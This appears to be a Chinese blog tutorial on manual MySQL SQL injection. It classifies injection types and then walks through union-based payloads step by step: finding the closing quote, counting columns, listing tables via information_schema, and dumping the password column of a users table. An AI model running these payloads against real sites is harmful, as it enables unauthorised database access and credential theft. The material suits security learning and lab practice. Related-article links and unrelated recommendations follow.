0x00 SQL注入的分类:

(1)基于从服务器接收到的响应

        ▲基于错误的 SQL 注入

        ▲联合查询的类型

        ▲堆查询注射

        ▲SQL 盲注

            •基于布尔 SQL 盲注

            •基于时间的 SQL 盲注

            •基于报错的 SQL 盲注

(2)基于如何处理输入的 SQL 查询(数据类型)

        •基于字符串

        •数字或整数为基础的

(3)基于程度和顺序的注入(哪里发生了影响)

        ★一阶注射

        ★二阶注射

(4)基于注入点的位置上的

        ▲通过用户输入的表单域的注射。

        ▲通过 cookie 注射。

        ▲通过服务器变量注射。 (基于头部信息的注射)

0x01 MYSQL 手工注入流程——基于错误的 SQL 注入

(1)闭合方式:

首先,需要确定SQL语句的闭合方式,常见闭合方式有:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";    

(2)order by 查字段数

举例:

?id=1' order by 4--+  //返回Ture(这里的--+可以替换为#,都是注释符的意思)

?id=1' order by 5--+  //返回False

说明字段数为4

(3)确定数据显示位置

?id=0' union select 1,2,3,4--+

通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动

(4)查询当前数据库名

?id=0' union select 1,2,3,database()--+    

(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)

(5)查询当前数据库的所有表名

0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

(6)查指定表名的所有字段名

0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

(7)查指定表的指定字段的所有内容

0' union select 1,2,3,group_concat(password) from users --+

(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制

1)0' union select 1,2,3,password from users limit 0,1--+

2)0' union select 1,2,3,password from users limit 1,1--+

3)0' union select 1,2,3,password from users limit 2,1--+

0x02 MYSQL 手工注入实战——基于错误的 SQL 注入

这里暂时还没写好,等之后补充进来。

MYSQL手工注入(详细步骤)—— 待补充的更多相关文章

  1. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  2. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  3. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  4. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  5. MySQL数据库迁移详细步骤(转)

    ========================================================================================== 一.背景简介 == ...

  6. MySQL数据库迁移详细步骤

    转载自:http://sofar.blog.51cto.com/353572/1598364 ===================================================== ...

  7. mysql手工注入步骤

    1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...

  8. MySql主从搭建详细步骤

    环境: linux64位,一台机器两个实例,主库3306端口,从库3307端口 步骤: 一.下载安装 先下载安装mysql,这里使用了5.7.21版本,具体过程不做详细说明,可自行查资料如何下载 二. ...

  9. MYSQL手工注入某日本网站

    作者:ice   团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...

随机推荐

  1. PySide——Python图形化界面入门教程(四)

    PySide——Python图形化界面入门教程(四) ——创建自己的信号槽 ——Creating Your Own Signals and Slots 翻译自:http://pythoncentral ...

  2. linux安装脚本

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 3 ...

  3. ArcGIS for Desktop入门教程_第三章_Desktop软件安装 - ArcGIS知乎-新一代ArcGIS问答社区

    原文:ArcGIS for Desktop入门教程_第三章_Desktop软件安装 - ArcGIS知乎-新一代ArcGIS问答社区 1 软件安装 1.1 安装前准备 请确认已经收到来自Esri中国( ...

  4. vmstat命令浅析

    vmstat命令是最常见的Linux/Unix监控工具,可以展现给定时间间隔的服务器的状态值,包括服务器的CPU使用率,内存使用,虚拟内存交换情况,IO读写情况.这个命令是我查看Linux/Unix最 ...

  5. DEPLOYING NATIVE UWP (UNIVERSAL WINDOWS PLATFORM) APPS FOR JAVA DEVELOPERS & PUBLISHING THEM TO THE MICROSOFT STORE

    原文: DEPLOYING NATIVE UWP (UNIVERSAL WINDOWS PLATFORM) APPS FOR JAVA DEVELOPERS & PUBLISHING THEM ...

  6. Unity 3d新手上路

    作为一位unity新手,初学遇到了不少坑,而且不知道怎么找,发觉网上关于unity的文档好少,还是我暂时没找到. 现在说说void OnTriggerEnter(Collider e),这个函数是我加 ...

  7. Qt 5 最小构建笔记(只编译QtBase)

    只想用Qt5最基本的功能,因此只编译QtBase.也不想为了编译一个Qt装很多东西(比如非常肥的DirectX SDK) 软件清单: Visual Studio 2010 Professional w ...

  8. notepadd++正则表达式大小写转换

    示例1:将语句 test this sentence 转为大写 查找:^.*$ 替换:\U$0 或------------ 查找:^(.*)$ 替换:\U\1 或 \U$1 示例2:将语句 TEST ...

  9. MongoDB自学日记2——权限

    首先应该明确的是为什么要学MongoDB.OK,如果是仅仅出于对于流行技术的原始兴趣,可能并不能深入学习,还必须有应用需求.刚开始学习MongoDB,因为以前对其它数据库的了解也不是特别深入,所以许多 ...

  10. js中prototype与__proto__区别

    proto(隐式原型)与prototype(显式原型) 显式原型 explicit prototype property:每一个函数在创建之后都会拥有一个名为prototype的属性,这个属性指向函数 ...